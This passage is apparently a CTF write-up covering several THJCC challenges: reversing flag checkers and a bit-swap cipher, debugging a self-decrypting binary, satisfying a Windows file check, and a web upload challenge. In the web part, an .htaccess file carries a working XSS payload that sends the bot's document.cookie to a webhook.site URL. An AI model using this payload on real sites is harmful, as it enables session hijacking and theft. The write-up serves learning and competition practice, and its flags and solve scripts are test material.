if ( *(unsigned __int8 *)(i + 1LL + a1) + *(unsigned __int8 *)(i + 2LL + a1) != dword_4020[i + 1] )
return 0LL;
if ( *(unsigned __int8 *)(i + a1) + *(unsigned __int8 *)(i + 2LL + a1) != dword_4020[i + 2] )
return 0LL;
}
return 1LL;
}
it checks for the following:
$$ \begin{aligned} s[i] + s[i+1] &= \texttt{dword\_4020}[i] \\ s[i+1] + s[i+2] &= \texttt{dword\_4020}[i+1] \\ s[i] + s[i+2] &= \texttt{dword\_4020}[i+2] \end{aligned} $$we can recover s[i..i+2]!
$$ \text{let } m = \frac{\sum_{k=0}^{2} \texttt{dword\_4020}[i+k]}{2} = s[i] + s[i+1] + s[i+2] $$$$ \begin{aligned} s[i] &= m - \texttt{dword\_4020}[i+1] \\ s[i+1] &= m - \texttt{dword\_4020}[i+2] \\ s[i+2] &= m - \texttt{dword\_4020}[i] \end{aligned} $$dword_4020 = [0xFA, 0xC5, 0x81, 0x50, 0x9B, 0x75, 0x72, 0x6D, 0xA5, 0xB5, 0x100, 0xD1, 0x171, 0x1C1, 0x160, 0x13B, 0x163, 0x1A2, 0xF7, 0x167, 0x184, 0x155, 0x174, 0x121, 0xD1, 0x8D, 0x80, 0x181, 0x174, 0x1DD, 0x50, 0x0, 0x50]
enc = []
for i in range(0, len(dword_4020), 3):
m = (dword_4020[i] + dword_4020[i+1] + dword_4020[i+2]) // 2
a = m - dword_4020[i+1]
b = m - dword_4020[i+2]
c = m - dword_4020[i]
enc.extend([a, b, c])
flag = ''
for i in range(len(enc)):
enc[i] ^= 0xF
plain = ((enc[i] >> i%8) | (enc[i] << (-i)%8) & 0xFF)
flag += chr(plain)
print(flag) # THJCC{i$_&_0x7_equaL_to_m0D_8?}
Noo dle
unsigned __int64 __fastcall encrypt(__int64 a1, __int64 a2, int a3)
{
int i; // [rsp+28h] [rbp-818h]
__int64 v5; // [rsp+2Ch] [rbp-814h] BYREF
int v6; // [rsp+34h] [rbp-80Ch]
__int64 v7; // [rsp+38h] [rbp-808h]
_BYTE v8[2032]; // [rsp+40h] [rbp-800h] BYREF
unsigned __int64 v9; // [rsp+838h] [rbp-8h]
v9 = __readfsqword(0x28u);
v6 = 0;
v7 = 0LL;
memset(v8, 0, sizeof(v8));
v5 = (unsigned int)(8 * a3);
expand((char *)&v5 + 4, a1, v5);
for ( i = 0; i < (int)v5; i += 8 )
{
swap((char *)&v5 + i + 4, (char *)&v5 + i + 11);
swap((char *)&v5 + i + 5, (char *)&v5 + i + 8);
swap((char *)&v5 + i + 6, (char *)&v5 + i + 9);
swap((char *)&v5 + i + 7, (char *)&v5 + i + 10);
}
compress(a2, (char *)&v5 + 4, (unsigned int)v5);
return v9 - __readfsqword(0x28u);
}
lets see what expand does
__int64 __fastcall expand(__int64 a1, __int64 a2, signed int a3)
{
__int64 result; // rax
signed int i; // [rsp+20h] [rbp-4h]
for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i >= a3 )
break;
*(_BYTE *)(i + a1) = (*(char *)(i / 8 + a2) >> (7 - i % 8)) & 1;
}
return result;
}
yea this just expands its bits into an array, and we start from index 4
which means the four swaps transforms the bits like following:
[0,1,2,3,4,5,6,7] -> [7,4,5,6,1,2,3,0]
then solve:
from binascii import unhexlify
b = unhexlify("2a48589898decafcaefa98087cfa58ae9e2afa1c1aaa2e96fa38061a9ca8fa182ebeee")
bits = [(byte >> (7 - i)) & 1 for byte in b for i in range(8)]
def swap(i, j):
bits[i], bits[j] = bits[j], bits[i]
for i in range(0, len(bits), 8):
swap(i, i+7)
swap(i+1, i+4)
swap(i+2, i+5)
swap(i+3, i+6)
decrypted_bin = ''.join(str(x) for x in bits)
print(''.join(chr(int(decrypted_bin[i:i+8], 2)) for i in range(0, len(bits), 8)))
# THJCC{You_C@n_JusT_bRUt3_F0RcE_Btw}
Empty
The description is empty
NOTE: i have no idea what im doing here so bear with me
upon running we’ll be asked for the password, and throwing into IDA we see no sign of the checker either. name checks out
this seems to be a self-decrypting program, so i threw it into pwndbg and spammed si, ni to try and track the code
eventually i created a breakpoint at _dl_start_user+88
, which seems to be right before decrypting
lets check whats beyond 0x5555555551a0:
pwndbg> tele 0x5555555551a0 0x100
00:0000│ r12 0x5555555551a0 ◂— lea rsi, [rip - 0x147]
01:0008│ 0x5555555551a8 ◂— mov edi, esi
02:0010│ 0x5555555551b0 ◂— dec dword ptr [rax - 0x39]
03:0018│ 0x5555555551b8 ◂— mov rdx, 7
04:0020│ 0x5555555551c0 ◂— mov eax, 0xa
05:0028│ 0x5555555551c8 ◂— lea rsi, [rip - 0x16f]
06:0030│ 0x5555555551d0 ◂— mov ecx, 0x13e
07:0038│ 0x5555555551d8 ◂— cmp eax, 0x2e68 /* '=h.' */
08:0040│ 0x5555555551e0 ◂— 0xe2c7ff48c6ff4806
09:0048│ 0x5555555551e8 ◂— hlt
0a:0050│ 0x5555555551f0 ◂— sar byte ptr [rax + rax], 0
0b:0058│ 0x5555555551f8 ◂— syscall
0c:0060│ 0x555555555200 ◂— add byte ptr [rax], al
uhh yeah. whatever that is
i thought 0x5555555551e8
looked interesting so i tried creating a breakpoint there. got sigsegv. whoops
try one more. 0x5555555551e9
. oh hey whats this
jackpot
extracting byte data by x/500bx 0x555555555060
and ask chatgpt to disassemble
it concluded the password data was xor’d by 0xAB, and that password is at 0x555555558000
pwndbg> x/16bx 0x555555558000
0x555555558000: 0xea 0xc0 0xc2 0xd1 0xde 0xc0 0xc2 0xe0
0x555555558008: 0xca 0xc5 0xc5 0xca 0x9a 0x9b 0x9e 0x9b
applying xor 0xAB we get AkizukiKanna1050
password > AkizukiKanna1050
Correct!
Here is your flag: THJCC{whY_1s_mY_m@1n_funC710n_eMptY}
Demon Summoning
we’re given Ancient_Parchment and chal.exe
throw chal.exe into IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+3h] [ebp-55h]
char Buffer[80]; // [esp+4h] [ebp-54h] BYREF
Buffer[0] = byte_41CAA0;
memset(&Buffer[1], 0, 0x4Fu);
sub_401280(aDemonHumanAreY);
v4 = j___fgetchar();
j___fgetchar();
if ( v4 == 121 )
{
if ( sub_4010E0(Buffer) )
{
sub_401280(aDemonHumanYouA);
}
else
{
sub_401000(Buffer);
sub_401280(aSummoningSucce);
}
j___fgetchar();
}
return 0;
}
sub_4010E0 looks like a checker:
int __cdecl sub_4010E0(LPVOID lpBuffer)
{
HANDLE v2; // [esp+0h] [ebp-94h]
HANDLE hFile; // [esp+4h] [ebp-90h]
_OFSTRUCT ReOpenBuff; // [esp+8h] [ebp-8Ch] BYREF
hFile = (HANDLE)OpenFile(aAbyssalcircleM, &ReOpenBuff, 0);
v2 = (HANDLE)OpenFile(aAbyssalcircleA, &ReOpenBuff, 0);
if ( hFile == (HANDLE)-1 )
return 1;
if ( v2 == (HANDLE)-1 )
return 1;
ReadFile(hFile, lpBuffer, 0x50u, 0, 0);
ReadFile(v2, &byte_41D4E0, 0x4C934u, 0, 0);
return strcmp((const char *)lpBuffer, Str2);
}
seems to only check if hFile and v2 exists and that v2’s content == Str2
lets check out what they are:
.data:0041C040 aAbyssalcircleM db 'AbyssalCircle/Melon_Bun',0
.data:0041C040 ; DATA XREF: sub_4010E0+1C↑o
.data:0041C058 ; CHAR aAbyssalcircleA[]
.data:0041C058 aAbyssalcircleA db 'AbyssalCircle/Ancient_Parchment',0
.data:0041C058 ; DATA XREF: sub_4010E0+36↑o
.data:0041C078 ; char Str2[]
.data:0041C078 Str2 db 'Satania',27h,'s favorite',0 (27h is ')
so we just need to create the directory & these files, where Melon_Bun holds the string “Satania’s favorite” then run the .exe
and demon.png appears!
flag:
THJCC{but_you_summoned_a_zannen_demon}
Insane
iCloud☁️
we need to upload a file that can steal the bot’s flag cookie
our focus is at apache2.conf, which ill show the only relevant parts:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf
<DirectoryMatch ^/var/www/html/uploads/.+>
Options +Indexes
AllowOverride FileInfo
DirectoryIndex disabled
<FilesMatch "^.*\.ph.*$">
SetHandler none
ForceType text/html
Header set Content-Type "text/html"
</FilesMatch>
</DirectoryMatch>
AccessFileName .htaccess
some observations:
AllowOverride FileInfo
andAccessFileName .htaccess
allows .htaccess for us, which is a giveaway on what to use<FilesMatch "^.*\.ph.*$">
bounces any file containing.ph
in it. this means no .php, .pht etc. but we wont need that
also, the bot service has a restriction too:
if (!url.match(new RegExp(`^${SITE_URL}uploads/[^/]+/?$`))) {
console.log(`[-] Invalid URL: ${url}`);
return;
}
the regex forces the URL to end in a folder, so things like uploads/abcd-1234/
will work, but uploads/abcd-1234/xss.html
wouldnt
but this sends the bot into the directory index, so we have to redirect the bot using .htaccess somehow
fortunately we can use RewriteEngine (enabled by IncludeOptional mods-enabled/*.conf
) to redirect
lets redirect the bot to a nonexistent page, and return xss payload in the 404 response!
RewriteEngine On
RewriteRule ^$ cba.html [L]
ErrorDocument 404 "<script>new Image().src=\"https://webhook.site/grab-ur-own-webhook-brah?c=\"+document.cookie</script>"

Feedback
never do the feedback challs the conventional way!
ctrl+u, scroll to form data and you’ll notice something interesting:
["I have a gift for you: aHR0cHM6Ly9jdGYuc2NpbnQub3JnL2ZpbGVzLzA2ZThlZjljZThjZjI3Y2E1MjA0MzJlM2QxMGY5NDE3L2ZsYWcucG5n",1,0,1,0]
b64 -> https://ctf.scint.org/files/06e8ef9ce8cf27ca520432e3d10f9417/flag.png
flag:
THJCC{thanks_for_playing}